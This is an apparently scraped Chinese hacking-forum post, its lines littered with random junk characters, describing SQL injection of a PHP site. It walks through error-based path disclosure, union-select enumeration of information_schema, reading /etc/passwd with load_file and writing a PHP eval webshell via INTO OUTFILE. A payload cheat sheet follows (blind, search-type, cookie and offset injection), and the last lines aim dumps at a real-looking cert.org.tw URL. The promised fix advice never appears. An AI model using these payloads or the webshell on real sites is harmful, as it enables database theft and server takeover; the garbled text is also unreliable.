我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~% M# o* Z7 ~4 T" R- {6 ~+ b( o
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?2 P2 X% W5 O! c- {7 X5 F
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
0 @" i* W; _" W4 w4 H5 E如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)+ p3 c! {7 V. N9 [0 @0 s+ E
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)1 @ @8 {& @) t) I) U- T: c/ X: m
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:! s7 v8 g% ^. V# Q& }2 x& y
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in5 u/ v" N( r1 W' ]9 |8 D0 B
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入0 e4 x" h# H% h1 o" a: {. a
9 x( l5 Q Z; h2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
; C. }. f: h7 _ W8 o: r3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意' j4 b9 y6 e5 T7 |5 {' `3 s8 c
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息; Z1 P, }+ v: w
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
' e9 ^- V1 N$ e9 _ \8 ^有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
" i& Z) b% u0 S3 {5 E* M1 X8 s2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。+ g: g2 e1 j" l2 x5 l; x
我就用的是第二个思路,1 s1 S1 r0 N% L5 k# G; W( v
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
. R7 p0 o- v( T) s) ]0 A6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
# |" j4 n* Q' P# I8 b, G提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
7 c" Q, G/ S- f+ J9 M注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
: m- p) d; A, Q/ L7 ]+ u7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
% u" _! W9 {% P5 S* p是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
% P, m9 X) u; c提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --4 v' `0 j. i! l% b1 Y* `
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,* E( E$ e( c3 j3 B' A- }( e
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......4 g5 ]6 M; {* z+ F$ u L. R3 {
下面是一些很普遍注入方式资料:
( z( h- h( B, n. z, ?# s! G注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
# n, k3 B( {6 k- ]: z" |5 S# l拆半法
( q# O; y V* C' M- r2 _: f* @######################################6 |& U* `( ?. w& X6 X6 v% k
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。& d9 C( [, V& k! j1 A& [/ v
and exists (select * from admin)
6 l2 a4 J7 O* ?' R, O( V0 E$ n- ]0 E, Hand exists(select id from admin)
- f1 g: J* G- ?% c' V5 G. uand exists(select id from admin where id=1)
6 W1 g* L5 ^, Jand exists(select id from admin where id>1) : X" s% g. e( R: n! v
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 8 s: j$ l% \, D# ]8 C/ G3 O
and exists (select username from admin)
2 }9 A' F. I7 k: jand exists (select password from admin)/ K* z+ t9 a( G' K
and exists (select id from admin where len(username)<10 and id=1)
' b" y3 H& F: D# C7 s; ^8 Q+ zand exists (select id from admin where len(username)>5 and id=1)0 l8 m' T( y0 _/ h% L7 \
and exists (select id from admin where len(username)=6 and id=1)% h, |* c) ]5 p* E% I: r- P: c
and exists (select id from admin where len(password)<10 and id=1)
7 V( j: C2 y3 l% W h# l, v, gand exists (select id from admin where len(password)>5 and id=1)
# x4 _# R- g! g" Aand exists (select id from admin where len(password)=7 and id=1)
5 \$ X" P' o% `1 Y8 e' K+ |and (select top 1 asc(mid(username,1,1)) from admin)=97, C$ a4 a( T4 W5 _, R' l5 d
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。+ G. s4 F4 r$ L. Z
猜第二位把username,1,1改成username,2,1就可以了。1 o- K" O1 D1 J. t7 ^# D2 \" B
猜密码把username改成password就OK了3 k1 P" r% Q7 h3 x
##################################################
" D# Z* M4 w! t* W( b搜索型注入
' q& H8 P9 S& @3 g##################################, b6 Z Z$ w- M
%' and 1=1 and '%'='( ^5 o. x8 f/ m& Q' {
%' and exists (select * from admin) and '%'='0 Q r. z% s- F: i# {, |
%' and exists(select id from admin where id=1) and '%'='8 e4 ~0 F7 Z% s" r$ h4 l7 |
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='/ g& N' C9 K, c& c* E0 r* I2 Q
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
/ K+ g6 m# {4 c: k6 U%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='2 G; T: w# l" H
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='0 W) y P5 l6 Y) I& I- q, X2 J3 l" ~
对于MSSQL数据库,后面可以吧 and '%'='换成--
- D5 e6 A7 v/ d3 d- Q还有一点搜索型注入也可以使用union语句。
5 S; p) I& n2 j6 y0 \1 {########################################################
( L* P% t/ I/ P6 r$ Z8 d8 M联合查询。
6 G( J% j' W/ G/ Z( F [4 a1 t( V1 U#####################################/ C7 U" T5 R/ P. J; ^+ h
order by 10 h7 y6 M8 ^. ]9 q9 C. ?" p
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
( J) ^" ~! x. x) Oand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
+ J3 D7 y' l1 T" P, m. ^$ R+ qand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1; K/ p, e- G0 G( d6 R! t0 ^9 {
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!): ~8 e/ R/ ` Q+ q: p E# t' D
###################################( u1 L0 K! g, G/ f% G( }
cookie注入
K8 z( {8 F( h###############################7 m2 p; ^2 p* \% j
http://www.******.com/shownews.asp?id=127. d( t% }7 p7 j: j2 B
http://www.******.com/shownews.asp
0 Z$ _, [+ V+ W/ d# oalert(="id="+escape("127"));# x% r( d+ z: W' \, W0 u
alert(="id="+escape("127 and 1=1"));
/ W$ H u W& Talert(="id="+escape("127 order by 10"));5 ` R. _$ `. h, h! J
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
" \& l: U3 g6 h2 I( a+ E3 p! `alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));/ c% w4 I7 R' ?" r' f! R( D6 l
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
+ K/ d- \% R' y0 g) ~1 a& |2 W###################################
8 u- h2 O4 }: h2 A+ p8 Q: ^# W偏移注入
a, R ^% K+ v###########################################################; g! r1 X. c, C* v: J2 n
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
) u& m. C% G9 @4 l. ]/ {6 k4 gunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
# ?1 z& Y! r7 m5 \union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
# V' c' K8 m1 n8 p g+ [- x# Y' z+ Runion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)7 E( [' e7 D' b- l. R! s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)9 A2 h0 p. i. u8 m8 z
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)6 W1 \' D: n6 i5 b5 i$ u; V
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
$ R0 M# v. F$ U3 Za.id=d.id); l2 i$ w1 e1 R0 c8 j
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id); a9 A8 G0 N" }8 @
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 0 P, Y7 ~9 _% X8 b
( b Q- h1 F/ O, T$ ^- @( k============================================================================================================; S0 o7 V. e/ X3 I1 X/ W8 a& g
1.判断版本# e8 y; h, J& _! I. z( S. K$ t2 g
and ord(mid(version(),1,1))>51
: K+ _1 I7 J4 P+ ], i返回正常,说明大于4.0版本,支持ounion查询
: t- ]" ~$ e9 z0 @2 H' X/ P2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
b0 T; ]7 q2 k) Q7 {7 Iand 2=4 union select 1,2,3,4,5,6,7,8,9--: P' c8 l5 o7 `
3.查看数据库版本及当前用户,
1 k' R/ P4 q# m ]3 yand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
+ a7 ?# _; f5 k& C. D' w' J* X数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
9 Z. u+ s4 Q3 X' f0 [7 h( S# c: E4.判断有没有写权限
r6 _, J4 `/ q% X8 Q/ \ a2 Gand (select count(*) from MySQL.user)>0-- 1 p' L* q6 y9 H7 c3 w# K, _ }5 H
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,10 ~" L. I+ R7 Z" J6 h+ ^( U) R
用不了这个命令,就学习土耳其黑客手法,如下
2 M* ^8 E$ |( H% Sand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
: C- u8 v+ b& ^6 f7 o5 z6.爆表,爆库& Z% h+ L6 i n
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--/ Y) w3 t) L ]# z' ?8 J
7.爆列名,爆表& S- `9 i3 {) t3 e1 L% \2 E1 p
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--" R- }* U3 W9 ?& j
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。4 _* S" I3 R, n/ i1 Y8 B! o% z; o( t
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--. w/ R; J, \" K9 L
9.爆字段内容4 D9 G' j0 B9 }: Z) o: Q
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--, h* f7 m- H6 ^7 |" {
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |